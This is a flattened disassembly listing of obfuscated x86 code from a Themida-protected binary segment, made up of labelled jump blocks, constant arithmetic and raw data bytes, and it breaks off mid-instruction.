; CODE XREF: Themida_:005065EBj push ax pushf jmp loc_4FF0C1 ; --------------------------------------------------------------------------- dw 0C688h dd 8B5AF788h, 0C4812404h, 4, 2244C8Ah, 0FFBFB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_505691: ; CODE XREF: Themida_:00507EFCj add ebp, 23C28h neg ebp sub ebp, 23D27751h neg ebp shl ebp, 6 sub ebp, 1472D022h sub eax, ebp pop ebp jmp loc_5094A8 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0B9510000h, 4, 733CEE81h, 0CE016039h, 534768h dd 243C8900h, 0FFC8FDE9h, 0BB535AFFh, 213841CAh, 63E9D829h dd 33FFFFCEh, 665C2414h, 6866E9F7h, 0CBE950FBh db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5056F3: ; CODE XREF: Themida_:00500965j sub ebx, 9A0A5B1Dh add ebp, ebx jmp loc_503BC9 ; --------------------------------------------------------------------------- dd 4CFE9ADh db 2 dup(0) ; --------------------------------------------------------------------------- loc_505706: ; CODE XREF: Themida_:0050599Dj sub esp, 4 mov [esp], edi pop dword ptr [edx+30h] mov edi, [esp] push edi push esp mov edi, [esp] jmp loc_50809E ; --------------------------------------------------------------------------- db 0FEh dd 49B652CBh, 148BF330h, 15FAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50572E: ; CODE XREF: Themida_:00506B8Cj pop edx push eax mov eax, 3832438Ah xor eax, 3832438Eh jmp loc_5010C0 ; --------------------------------------------------------------------------- db 66h dd 51240C8Bh, 1ED1E954h, 0E0890000h, 6C5668h, 0A7E900h dd 895C0000h, 4CB5240Ch, 0C5FECDFEh, 50F580h, 0B60F59EBh dd 87048DC0h, 277C68h, 24048900h, 0FF9948E9h db 0FFh ; --------------------------------------------------------------------------- loc_505779: ; CODE XREF: Themida_:00506484j add esi, 4 add esi, 4 jmp loc_506EDE ; --------------------------------------------------------------------------- dw 60B9h dd 3124347Eh, 0EDC159CDh, 83C58104h, 2919AA29h, 242C8BEEh dd 543A68h, 242C8900h, 0E957E589h, 0FFFFB906h, 81DFF75Dh dd 0D41F56C7h, 0FFBA524Ah, 29FFFFFFh, 0E7815AD7h, 1C154B63h dd 0FF57D7F7h, 815F2404h, 438184C7h, 3FC38185h, 1729F75h dd 3409E9FBh, 89530000h, 4C381E3h, 83000000h, 1C3304C3h dd 241C3124h, 5C241C33h, 0FF98C4E9h, 241489FFh, 4BAh, 0E9D00100h dd 54DFh ; --------------------------------------------------------------------------- loc_50580C: ; CODE XREF: Themida_:00501CA4j pop esi push edi mov edi, 29B818C0h sub edi, 640B06F1h sub edi, 0C5AD11CBh add esi, 1E0697Ch add esi, edi sub esi, 1E0697Ch jmp loc_504B83 ; --------------------------------------------------------------------------- aQ__TNYQ db 'Q._t)Y-',0Bh,0Bh,'q',0 db 5, 0D8h, 74h dd 0F80167BFh, 0BF74D82Dh, 0B0B0567h, 3C8B0071h, 4C48324h dd 83E9D801h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505863: ; CODE XREF: Themida_:00504208j sub ebp, 0B7593F07h sub ecx, ebp pop ebp push 5572h mov [esp], edi push 26C737A2h pop edi jmp loc_5096EE ; --------------------------------------------------------------------------- db 89h dd 24348BF3h, 4C481h, 0D8010000h, 81241C8Bh, 4C4h, 2C08300h dd 2474FF50h, 48F5804h, 24248B24h, 240C8B66h, 7C3B6856h dd 8F540000h, 0BF572404h, 4, 0FFAA49E9h db 0FFh ; --------------------------------------------------------------------------- loc_5058BD: ; CODE XREF: Themida_:005007F8j xor [esp], ecx xor ecx, [esp] pop esp jmp loc_501229 ; --------------------------------------------------------------------------- aQNeSs db 'QnE^',0Bh,'S',8,0 dd 0C6E95A00h, 81FFFFBBh, 4C6h, 24348700h, 6824248Bh, 3F97h dd 0E9241489h, 30FCh ; --------------------------------------------------------------------------- loc_5058F4: ; CODE XREF: Themida_:00509765j add ebx, eax pop eax jmp loc_505BFE ; --------------------------------------------------------------------------- a34LSbv db '34$$$bV',0 dw 8900h dd 0D5E9241Ch, 5000044h, 4, 405h, 0F9ACE900h, 0CF88FFFFh dd 322E9h, 6002BF00h, 0E7C131D8h, 0E0EF8108h, 837C4608h dd 0E955FFC7h, 22B2h, 0EF3C43BAh, 4359E943h, 0B0040000h dd 0EC81D828h, 4, 495DE9h, 5AF38800h, 240C8B58h, 0FFE2B4E9h dd 1CEB80FFh, 0FFCEABE9h, 8BF828FFh, 0C481241Ch, 4, 0C7307F04h dd 8124048Bh, 4C4h, 0F6D78600h, 0FED786D2h, 0B15166C7h dd 0E9CF0896h, 399Ch ; --------------------------------------------------------------------------- loc_505994: ; CODE XREF: Themida_:00509A7Aj xor ebp, 0D49A7EA9h sub edi, ebp pop ebp jmp loc_505706 ; --------------------------------------------------------------------------- loc_5059A2: ; CODE XREF: Themida_:0050714Ej add edi, ebp pop ebp jmp loc_507352 ; --------------------------------------------------------------------------- dw 0DFF7h dd 6804E7C1h, 4A6Eh, 0FFE919E9h, 6C64B8FFh, 9B055505h dd 357FEA37h, 3E3E31C4h, 4DE95057h, 1FFFF9Eh, 8B2DE8h dd 8AE93D62h, 0FE000032h, 4A804C8h, 0F60C0CB0h, 0B5B353D8h dd 0FE07E3C0h, 0A574E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5059F2: ; CODE XREF: Themida_:00502DDCj mov bh, 0B8h push ecx mov ch, 1Ah sub ch, 0D7h shr ch, 3 xor ch, 0C4h and bh, ch pop ecx sub bh, 0E5h shl bh, 6 sub bh, 0F1h add al, 0CEh sub al, 1Ch add al, bh add al, 1Ch push ecx jmp loc_503BE1 ; --------------------------------------------------------------------------- dw 3C8Bh dd 0F7A2E924h, 0C281FFFFh, 1151240h, 0FFA583E9h, 148B66FFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 jmp loc_506B56 ; --------------------------------------------------------------------------- db 21h, 0C7h, 58h dd 0FFE467E9h, 4C481FFh, 88000000h, 0E38058C3h, 36C380E4h dd 0CFE95266h, 83000001h, 0D3F701C3h, 1BF57h, 0BBE90000h dd 81FFFFA9h, 4C7h, 362CE900h, 4810000h, 424h, 9768E900h dd 0C483FFFFh, 0E9C104h, 840FC00Bh, 433Ah, 8904EC83h, 0BF57241Ch dd 5E97014Fh, 4247C29h, 0FFB839E9h, 8734FFFFh, 0FF960CE9h dd 3FCDB8FFh, 0D8F7751Ah, 0E0C1D0F7h, 4CE95708h, 5000046h dd 40E34930h, 302DD801h, 0E940E349h, 42EFh, 0E9242C87h dd 0FFFFDFF0h, 45B542Ch, 2CD8004Dh, 0B652534Dh, 1BE95352h dd 68000056h, 4, 0CE77E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505AFE: ; CODE XREF: Themida_:0050A7B1j add al, 1Fh sub al, bl jmp loc_5094A1 ; --------------------------------------------------------------------------- db 81h dd 0F16B86E6h, 0B9E94644h, 2D000048h, 0FFFFFFFFh, 4FBBC805h dd 7DFE9CCh, 4050000h, 0E9000000h, 30DDh, 9C240428h, 13BBE9h dd 2DAFBE00h, 0D6F7790Ah, 14CEE9h, 5C70500h, 90055145h dd 2D0C1042h, 290F3A6Dh, 0DD63352Dh, 0E6895677h, 4BF57h dd 0FE010000h, 4EE835Fh, 5C243487h, 0BE243489h, 21D5638Dh dd 9AE9FE87h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505B77: ; CODE XREF: Themida_:00508016j push ecx mov ecx, 7CE35FC5h add eax, ecx mov ecx, [esp] jmp loc_5087EB ; --------------------------------------------------------------------------- db 8Bh dd 0EC832424h, 2122E904h, 0BD550000h, 27617758h, 429BE9h dd 31E36800h, 88E90000h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_505BA7: ; CODE XREF: Themida_:00502E71j push ebx mov ebx, 47B15407h shl ebx, 8 neg ebx add ebx, 3F2E7BA1h jmp loc_506216 ; --------------------------------------------------------------------------- loc_505BBD: ; CODE XREF: Themida_:00506869j mov edx, ebx sub esp, 4 mov [esp], edi jmp loc_502A12 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFA4CAE9h, 68D831FFh, 1F32h, 56241C89h, 467AE9h, 0E9EE3100h dd 0FFFFE23Fh, 0CCA8E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505BF2: ; CODE XREF: Themida_:005097CCj pop ebp add esp, 4 jmp loc_505551 ; --------------------------------------------------------------------------- loc_505BFE: ; CODE XREF: Themida_:005058F7j add ebx, 4 xchg ebx, [esp] pop esp push 0C66h jmp loc_50B1D1 ; --------------------------------------------------------------------------- db 50h dd 0E688EC88h, 0DAE95958h, 0BBFFFFC6h, 346CD80Fh, 0F1E9DF01h dd 0BDFFFFC5h, 41DF57BAh, 0BC54E955h, 0C0B2FFFFh, 1F74E9h dd 241C8900h, 8904EC83h, 7EE92424h, 8BFFFFADh, 9EE9240Ch dd 0FF000006h, 669D1C77h, 2414D359h, 9463E99Ch, 48FFFFFh dd 24248B24h, 81240C89h, 4ECh, 241C8900h, 0FF9670E9h, 48F5BFFh dd 24248B24h, 0FFC133E9h, 48B54FFh, 4C48124h, 0E9000000h dd 0FFFFB4CFh, 24048B66h, 4EC81h, 14890000h, 83E28924h dd 3C8904ECh, 3E57BF24h, 0E7D1371Bh, 7CAAF781h, 0EA816E36h dd 722F2C5Eh, 0C281FA01h, 722F2C5Eh, 2C2815Fh, 0E9000000h dd 12Ah, 0E9242C31h, 52CEh, 40559h, 4870000h, 0DEE95C24h dd 52FFFF93h, 0AD8E9h db 0 ; --------------------------------------------------------------------------- loc_505CE9: ; CODE XREF: Themida_:004FFCA7j xor ecx, [esp] mov esp, [esp] jmp loc_50AD3A ; --------------------------------------------------------------------------- dd 0BBC5BE66h, 66F03166h, 0C568665Eh, 489662Eh, 2C816624h dd 66468924h, 0C581665Dh, 66584689h, 2246C01h, 0FFDC7DE9h dd 3C8B54FFh, 4C48324h, 4BA52h, 80E90000h, 81FFFFBBh, 0E20CFFE5h dd 20ED8151h, 29EC54B2h, 0E7C15DEFh, 7EBD5508h, 8176BC08h dd 9439EEC5h, 8EDC143h, 3889C581h, 0EF29340Bh, 0E9242C8Bh dd 15C4h ; --------------------------------------------------------------------------- loc_505D60: ; CODE XREF: Themida_:005062C3j shr edx, 1 cmp eax, edx jz loc_50A1DB push 6D1Ch mov [esp], edx jmp loc_50541E ; --------------------------------------------------------------------------- db 81h dd 5677242Ch, 575E4168h, 685677BFh, 0F0CDE941h, 14F7FFFFh dd 3204E924h, 875C0000h, 0A0E92434h, 81FFFFDBh, 4C4h, 95E95200h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505DA7: ; CODE XREF: Themida_:00509CACj add esp, 4 push dword ptr [esp] jmp loc_505EB5 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0BF570000h, 1D516731h, 0FFA68EE9h db 0FFh ; --------------------------------------------------------------------------- loc_505DC5: ; CODE XREF: Themida_:0050A6C4j sub edx, 32476252h sub edx, 191A52FFh pop ecx jmp loc_4FF0C1 ; --------------------------------------------------------------------------- db 59h dd 106F68h, 241C8900h, 0FFC693E9h, 5FF801FFh, 3506E0C1h dd 2C0D84DEh, 0E6DFE955h, 268FFFFh, 89000073h, 74FF2414h dd 34FF0424h, 24148B24h, 8104C483h, 4C4h, 24048F00h, 0FFF5E9E9h dd 243487FFh, 0FFCCECE9h, 0C8005AFFh, 29043A04h, 83240C8Bh dd 0CF6804C4h, 8900006Ah, 0A3B5240Ch, 0CDFECDFEh, 0DB61E953h dd 0E281FFFFh, 541477B5h, 5606EAC1h, 0AF3C64BEh, 0D9E94E47h dd 5D00003Ah, 0E92434FFh, 4A9h, 5D61C181h, 815E1625h, 2C1h dd 4629E900h, 47BE0000h, 530B893Eh, 9C7DAEBBh, 0DAEB815Bh dd 13699B5h, 0EEC15BDEh, 5DBF5704h, 0E9A66090h, 1E6Fh ; --------------------------------------------------------------------------- loc_505E94: ; CODE XREF: Themida_:0050A1F4j sub ebp, eax pop eax or ebp, 24C34A8Ch jmp loc_503CF4 ; --------------------------------------------------------------------------- loc_505EA2: ; CODE XREF: Themida_:00503710j mov ebx, esp push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5073E8 ; --------------------------------------------------------------------------- loc_505EB5: ; CODE XREF: Themida_:00505DADj pop edx jmp loc_5038E3 ; --------------------------------------------------------------------------- loc_505EBB: ; CODE XREF: Themida_:00502FE4j pop esi jmp loc_503AF0 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E984F780h, 0F3Dh ; --------------------------------------------------------------------------- loc_505ECC: ; CODE XREF: Themida_:00500F05j mov esp, [esp] jmp loc_500A19 ; --------------------------------------------------------------------------- loc_505ED4: ; CODE XREF: Themida_:00500916j push 4A180C1Bh mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or eax, 25181410h jmp loc_50A7F4 ; --------------------------------------------------------------------------- dw 0FD89h dd 0E92434FFh, 23F7h, 0DBF6C3FEh, 282DC380h, 782C5BD8h dd 30E95966h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_505F13: ; CODE XREF: Themida_:00508F91j mov esi, esp jmp loc_50AB3E ; --------------------------------------------------------------------------- dw 814Fh dd 0F8A241C7h, 0C660E999h, 0CDFEFFFFh, 23BEE9h, 2EEE8100h dd 5952A129h, 8704C683h, 248B2434h, 0C8BE0F24h, 489468h dd 243C8900h, 0E9E18951h, 0FFFFE76Ah, 79C38166h, 0C3816604h dd 5A6619E0h, 0A4EB8166h, 0C3296614h, 0A4C38166h, 5011E914h dd 2C890000h, 0E9E58924h, 30E4h, 0FEB8h, 1C472100h, 5624048Bh dd 0B951E689h, 72530BCFh, 2847E9h, 24048F00h, 3122E9h dd 40500h, 7FE90000h, 29FFFFFBh, 0E10559CFh, 2D6E6161h dd 4C7C1506h, 605F801h, 2D4C7C15h, 6E6161E1h, 2404335Fh dd 33240431h, 0E95C2404h, 2CABh, 2434FF5Ch, 582434FFh dd 0FF9799E9h, 2434FFFFh, 0FFCC59E9h, 4C483FFh, 0F73E9h dd 0FAEF8100h, 0E9013A48h, 0FFFFB3F5h, 4C581h, 0E9530000h dd 665h, 2FC6ADBBh, 8BEB019Ch, 8952242Ch, 4C281E2h, 83000000h dd 148704C2h, 0D8015C24h, 2FDDE9h db 0 ; --------------------------------------------------------------------------- loc_506021: ; CODE XREF: Themida_:00502ACDj shr esi, 8 xor esi, 80F9C3F0h add edi, 22A82CC8h sub edi, esi sub edi, 22A82CC8h pop esi or ebx, edi pop edi jmp loc_509BD9 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0A0h dd 8B56466Ch, 0C4832434h, 243C8704h, 3876E9h, 48F5800h dd 34FF5C24h, 24048B24h, 5604C483h, 0E951E689h, 369Ch dd 0E903EDC1h, 0FFFF9053h, 1029F181h, 1EE90004h, 0AD000033h dd 207F83h, 9C7C840Fh, 0EC81FFFFh, 4, 0E9242C89h, 0FFFFF831h dd 2C481h, 0C3300000h, 66C0B60Fh, 5024148Bh, 4EC81h, 24890000h dd 4B85024h, 1000000h, 8B042444h, 0C4812404h, 4, 8324048Bh dd 33E904C4h, 89000026h, 24E953E2h, 100003Eh, 4077E9E8h dd 0DEE90000h, 5DFFFF8Fh, 4EC8156h, 89000000h, 57BD242Ch dd 553B341Ah, 875A5D52h, 87D5F7EAh, 4DD587EAh, 0FF9913E9h db 0FFh ; --------------------------------------------------------------------------- loc_506105: ; CODE XREF: Themida_:004FFD76j mov ebx, 3AF364F1h jmp loc_500942 ; --------------------------------------------------------------------------- db 81h dd 4D4573CFh, 0A388E933h, 0C405FFFFh, 357D6911h, 3D4B0CFFh dd 48BC601h, 4C48324h, 76E8C681h, 0F201A623h, 0E956555Eh dd 25FBh, 89241C89h, 4EC83E3h, 0BD242C89h, 4, 5D4E9h, 80F4B100h dd 0C38028EBh, 80CB2834h, 0BBE934EBh, 89FFFF9Eh, 0BF572434h dd 49F35AB0h, 0C1E9DFF7h, 0BFFFFFE9h, 6B1B2389h, 2FC8BB53h dd 52BD69BFh, 29D4DA53h, 241C8BDDh, 4C481h, 0FD290000h dd 0CC1DE95Fh, 0C829FFFFh, 58C60159h, 8704C683h, 99E92434h dd 58FFFF93h, 242C8758h, 0FF9B17E9h, 2759BBFFh, 0F3814816h dd 21774663h, 45DCB951h, 0E9D14403h, 29A8E949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5061CA: ; CODE XREF: Themida_:005028AAj xor eax, esi jmp loc_509E03 ; --------------------------------------------------------------------------- db 9, 0FEh, 8Bh dd 0C481243Ch, 4, 4CDDC681h, 0F6814D37h, 656937E7h, 8904EC83h dd 0EC832404h, 243C8904h, 0FC5EEDBFh, 1081E942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5061FE: ; CODE XREF: Themida_:00506F1Bj pop esi xor ecx, 9E759774h push edx jmp loc_503296 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 13B5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506216: ; CODE XREF: Themida_:00505BB8j inc ebx xor ebx, 8DDA74A6h add eax, ebx pop ebx sub eax, 4 xchg eax, [esp] jmp loc_50A21D ; --------------------------------------------------------------------------- loc_50622D: ; CODE XREF: Themida_:005086D3j not ebx jmp loc_50A340 ; --------------------------------------------------------------------------- dd 5B0468h, 243C8900h, 0E951E789h, 0FFFFE379h, 8104C483h dd 9C5457C1h, 71E95E7Dh, 9, 1CEC80DCh, 5B89C480h, 2858E588h dd 0E95966EBh, 0CA2h, 53D830ACh, 0FF98C5E9h, 240433FFh dd 33240431h, 248B2404h, 242CD324h, 8E3BE99Ch, 0EEC1FFFFh dd 0BF575207h, 1C387F1Bh, 0D7F7DFF7h, 4B24EF81h, 0EFC13FC5h dd 0BF8BE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5062A2: ; CODE XREF: Themida_:004FF3E9j mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov ebp, [esp] add esp, 4 and ebx, ecx pop ecx or ebx, ebx jnz loc_505D60 push 41C6h mov [esp], edx push 1AEDh mov [esp], edi push esp jmp loc_506FD5 ; --------------------------------------------------------------------------- db 5Ch dd 5C24048Fh, 9C243CD3h, 0FFC8F3E9h, 4C483FFh, 0E903E7C0h dd 0FFFFAB6Fh, 242C3359h, 0FFF9CBE9h, 48D8F7FFh, 0FFB677E9h dd 0C4835FFFh, 0E9C33104h, 0FFFFAA1Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 6C462D3Ch or esi, 1E8C08C6h dec esi xor esi, 48565C9Ah not esi add esi, 5C301A53h jmp loc_5073C3 ; --------------------------------------------------------------------------- db 53h dd 0A60289BBh, 0A0F38120h, 2165B61Ah, 241C8BDFh, 4C481h dd 0EF810000h, 43F24FDh, 815FFE29h, 1B566BEBh, 52F32925h dd 1B566BBAh, 5AD30125h, 8124348Bh, 4C4h, 0B00CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506376: ; CODE XREF: Themida_:005084DBj add esp, 4 and ecx, edx push dword ptr [esp] jmp loc_507B64 ; --------------------------------------------------------------------------- dw 0FF66h dd 8D33E932h, 0DFF7FFFFh, 8306EFC1h, 2C8904ECh, 3E07E924h dd 23B20000h, 0C045E280h, 0EBE905E2h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5063AB: ; CODE XREF: Themida_:004FFC88j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_50858D ; --------------------------------------------------------------------------- db 0ADh dd 0F567E957h, 8966FFFFh, 50662414h, 8CF7E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5063CA: ; CODE XREF: Themida_:00502FB8j push esi pop edi pop esi xor esi, ebp jmp loc_5064DE ; --------------------------------------------------------------------------- dd 0ECB95150h, 0F770CB69h, 443E9D1h, 0EC800000h, 3097E90Ch dd 0EA010000h, 74FF525Dh, 13E90424h, 8100000Fh, 410A16E9h dd 0F0C18150h, 295BE826h, 0F0E981C1h, 815BE826h, 410A16C1h dd 91C18150h, 0E96AAF12h, 0FFFFA18Eh, 24048F5Fh, 0C885665Ch dd 8C97E99Ch, 4BBFFFFFh, 8760C54Eh, 87D6F7F7h, 3ABA52F7h dd 811F333Eh, 0D35DF7CAh, 88F28118h, 0E93B0A77h, 46B2h dd 0D6F74E5Eh, 77BBE681h, 0EEC10422h, 8B6E906h, 4810000h dd 424h, 240C8B00h, 0E904C483h, 3F48h, 0A19ADBAh, 31CA314Dh dd 0F7CA31D1h, 0B1F1E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506482: ; CODE XREF: Themida_:00504122j mov esi, esp jmp loc_505779 ; --------------------------------------------------------------------------- aYbu7JSy db 'Y7&J"y=',0 dd 0C8FE5B00h, 0FFDB61E9h, 2E8C1FFh, 0ED1A910Dh, 37E9501Eh dd 0D2000038h, 0E99C2424h, 0FFFF8C0Dh, 17F7BA66h, 0FFF036E9h dd 59CF01FFh, 4EF81h, 9BE90000h, 8000004Dh, 0C1805CC1h dd 59CA8894h, 148BD530h, 7CEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5064DE: ; CODE XREF: Themida_:005063CFj xor ebp, esi xor esi, ebp not ebp xchg ebp, esi xchg esi, edi push 1C47h mov [esp], eax jmp loc_501689 ; --------------------------------------------------------------------------- db 2Dh, 0F5h, 36h dd 0D001685Eh, 5E36F505h, 24148B68h, 0FF9415E9h db 0FFh ; --------------------------------------------------------------------------- loc_506509: ; CODE XREF: Themida_:00504A07j xor edi, 516751A2h sub edi, 4A660250h sub eax, 33283326h sub eax, edi push 538Dh mov [esp], edi push ebx mov ebx, 7BBC7522h dec ebx add ebx, 7ABF47D3h shr ebx, 3 neg ebx push ecx mov ecx, 1E340EEh sub ecx, 521CFBC5h sub ebx, ecx pop ecx mov edi, ebx pop ebx push eax jmp loc_50AF11 ; --------------------------------------------------------------------------- dw 815Ch dd 4ECh, 24048900h, 0A9E95257h, 81FFFFB2h, 4C7h, 7F66800h dd 2C890000h, 36B85024h, 0F737594Ah, 0A2312DD8h, 0EC81A0C8h dd 4, 0BE243489h, 27DE139Bh, 0FFA2AFE9h, 0E9F130FFh, 0C86h dd 3F83BA52h, 0A1BF4EE7h, 29F3587Eh, 0ED815AD7h, 1DD55D4Eh dd 0FFAF3BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5065AD: ; CODE XREF: Themida_:0050460Bj pop esp mov [esp], ebx mov ebx, 38h add ebx, 489E5610h add ebx, edx sub ebx, 489E5610h push edi push ebp pop edi mov [ebx], edi pop edi pop ebx pop ebp sub esp, 4 mov [esp], edi push 7690AE4h pop edi sub edi, 31986E3Bh push ebp jmp loc_509A62 ; --------------------------------------------------------------------------- loc_5065E7: ; CODE XREF: Themida_:00501D92j mov [esp], dx jmp loc_505672 ; --------------------------------------------------------------------------- dd 8158C529h, 421E5BF5h, 0BDE58139h, 0C1767031h, 0C58105E5h dd 7DFDFC64h, 2C8BEA01h, 4C48124h, 0E9000000h, 4229h, 4C381h dd 0EB810000h, 4, 2474FF53h, 2434FF04h, 5A54525Bh, 0FFCE42E9h dd 2E29B8FFh, 50D7235h, 0E916A34Bh, 0FFFFC3B2h, 4C481h dd 0FF520000h, 8B042474h, 0C4832414h, 24048F04h, 6624248Bh dd 9C240CFFh, 0FF8A5CE9h, 2BBFFh, 1FE90000h, 0D1000045h dd 123835E0h, 0BE560800h, 6BA97FFBh, 212BEE81h, 0F0295218h dd 0E9F8015Eh, 9A3h, 52241489h, 0EC83E289h, 243C8904h dd 14B4E9h, 0EC83AC00h, 1C896602h, 0E923B324h, 27E8h, 994BE959h dd 0C1B7FFFFh, 7DAE68h, 24148900h, 0F6806EB6h, 0C0CEFE4Dh dd 0D6F608E6h, 0FF97FBE9h, 2474FFFFh, 24148B04h, 4EC81h dd 0C890000h, 0EB4EE924h, 0C729FFFFh, 77BAC781h, 0EF8169E9h dd 7BD72275h, 82EB8158h, 146F150h, 3EFFE9FBh, 0E95C0000h dd 0FFFFFB6Dh, 934BE955h, 32FFFFFFh, 0FF89B0E9h db 0FFh ; --------------------------------------------------------------------------- loc_506711: ; CODE XREF: Themida_:005023B5j xor dword ptr [esp], 5CFF0530h jmp loc_500A73 ; --------------------------------------------------------------------------- db 52h, 0B2h, 2Fh dd 0FFDCA8E9h, 0D1EB81FFh, 1340416h, 0AEE952EBh, 8B000026h dd 0C481240Ch, 4, 0C281F229h, 7BF57D65h, 8124348Bh, 4C4h dd 0FCC28100h, 31467AE3h, 0A77DE9D1h, 8951FFFFh, 0A280E9E1h dd 148BFFFFh, 4C48124h, 0E9000000h, 64Bh ; --------------------------------------------------------------------------- loc_506770: ; CODE XREF: Themida_:00501FFAj mov edx, 27FB7486h add edx, 1FED6E6Bh add edx, 0D1EB4D5Bh or ebx, edx jmp loc_504D52 ; --------------------------------------------------------------------------- dd 0E924248Bh, 1F84h, 0C581E589h, 4, 8704C583h, 815C242Ch dd 2F2FC0C6h, 81C6012Ah, 2F2FC0EEh, 0C681582Ah, 262220BFh dd 0EE81C601h, 262220BFh, 0FFE0A2E9h, 6A37BAFFh, 0EAC14722h dd 0FFC28105h, 56FFFFFFh, 0FFF69DE9h, 0E78957FFh, 4C781h dd 0EF830000h, 4EC8304h, 0FF243C89h, 5F042474h, 5C24048Fh dd 68240489h, 5183h, 317CE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5067FE: ; CODE XREF: Themida_:0050374Cj pop esi inc ecx sub ecx, 363446C5h push ebx mov ebx, 44217EFEh add ecx, ebx mov ebx, [esp] add esp, 4 add ebp, ecx pop ecx dec ebp sub ebp, 4352881Ah and eax, ebp jmp loc_4FFBC2 ; --------------------------------------------------------------------------- db 81h, 0C9h, 67h dd 51031B6Ah, 0FFF559E9h db 0FFh ; --------------------------------------------------------------------------- loc_506831: ; CODE XREF: Themida_:004FFBBDj push 36762830h pop esi not esi not esi add esi, 0F3671CA2h push esi pop ebp pop esi add eax, ebp pop ebp add eax, edi sub eax, 29DD44D2h jmp loc_509B49 ; --------------------------------------------------------------------------- loc_506853: ; CODE XREF: Themida_:00501224j shr ecx, 2 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx jmp loc_505BBD ; --------------------------------------------------------------------------- loc_50686E: ; CODE XREF: Themida_:004FF76Dj pop ecx pop eax not eax xchg eax, ecx jmp loc_500378 ; --------------------------------------------------------------------------- dd 116EF805h, 0B27CE92Ch, 0B753FFFFh, 15CF8092h, 3AF780h dd 79E95BFCh db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506893: ; CODE XREF: Themida_:0050806Aj mov [esp], eax mov eax, 635D0BD7h and eax, 428953F9h or eax, 424D296Bh sub eax, 0C507EED2h xor edi, eax pop eax and eax, edi pop edi or eax, eax jz loc_50A5E7 push dword ptr [edi+1Ch] jmp loc_506F95 ; --------------------------------------------------------------------------- dd 4B951h, 0ED810000h, 1B194B4Fh, 3A7DED81h, 0ED811A76h dd 34456F37h, 0C581CD01h, 34456F37h, 3A7DC581h, 0C5811A76h dd 1B194B4Fh, 83240C8Bh, 46E904C4h, 2CFFFFD1h, 0D7EAE9BDh dd 0F766FFFFh, 0E99C241Ch, 0FFFF87B9h, 0E904EC83h, 1318h ; --------------------------------------------------------------------------- loc_506910: ; CODE XREF: Themida_:0050280Fj add esi, 291F24D9h and esi, 7F6B3F80h or esi, 6F77F6Dh dec esi push edi mov edi, 15817966h xor edi, 1F450FDh or edi, 2F150C84h xor edi, 83C26259h sub esi, edi pop edi add ebp, esi jmp loc_4FF7FA ; --------------------------------------------------------------------------- loc_506945: ; CODE XREF: Themida_:005051BFj push edx mov dh, 0BAh mov cl, 90h add cl, dh pop edx mov dl, cl pop ecx add bl, 86h sub bl, dl push eax mov ah, 86h sub bl, ah mov eax, [esp] jmp loc_507556 ; --------------------------------------------------------------------------- dw 0BF57h dd 53947h, 8904EC83h, 0B951243Ch, 15704CE5h, 4244C31h dd 0CFE95859h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_50697F: ; CODE XREF: Themida_:00508593j mov ecx, 176546FBh shr ecx, 8 neg ecx sub ecx, 1E092D44h sub ecx, 7A5F2278h add ecx, 0B1680D4Ah add ebx, ecx jmp loc_50441E ; --------------------------------------------------------------------------- dw 0EC83h dd 0BEB0E904h, 0E953FFFFh, 2423h, 4C181h, 0C1830000h, 240C8704h dd 0FFB6F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5069C1: ; CODE XREF: Themida_:00507383j push dword ptr [esp+4] pop edi jmp loc_500A00 ; --------------------------------------------------------------------------- db 1 dd 73E95DEAh db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5069D3: ; CODE XREF: Themida_:005043F4j mov eax, [esp] add esp, 4 add esp, 4 push edi mov edi, 38F43A62h not edi push ecx jmp loc_4FF402 ; --------------------------------------------------------------------------- db 88h, 0FDh, 5Bh dd 0ED805B5Ah, 80DDF6F8h, 0E830DDEDh, 0E92434FFh, 0FFFF9BB3h dd 7ACE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_506A0A: ; CODE XREF: Themida_:005077B5j push edx mov edx, 7B1E2C9Ah inc edx add edx, 84E1D369h add edi, edx jmp loc_502481 ; --------------------------------------------------------------------------- loc_506A1E: ; CODE XREF: Themida_:005024ADj push ebp mov ebp, 0F9715CD8h add ebx, ebp pop ebp and eax, ebx mov ebx, [esp] push eax push esp pop eax add eax, 4 push ecx mov ecx, 4 add 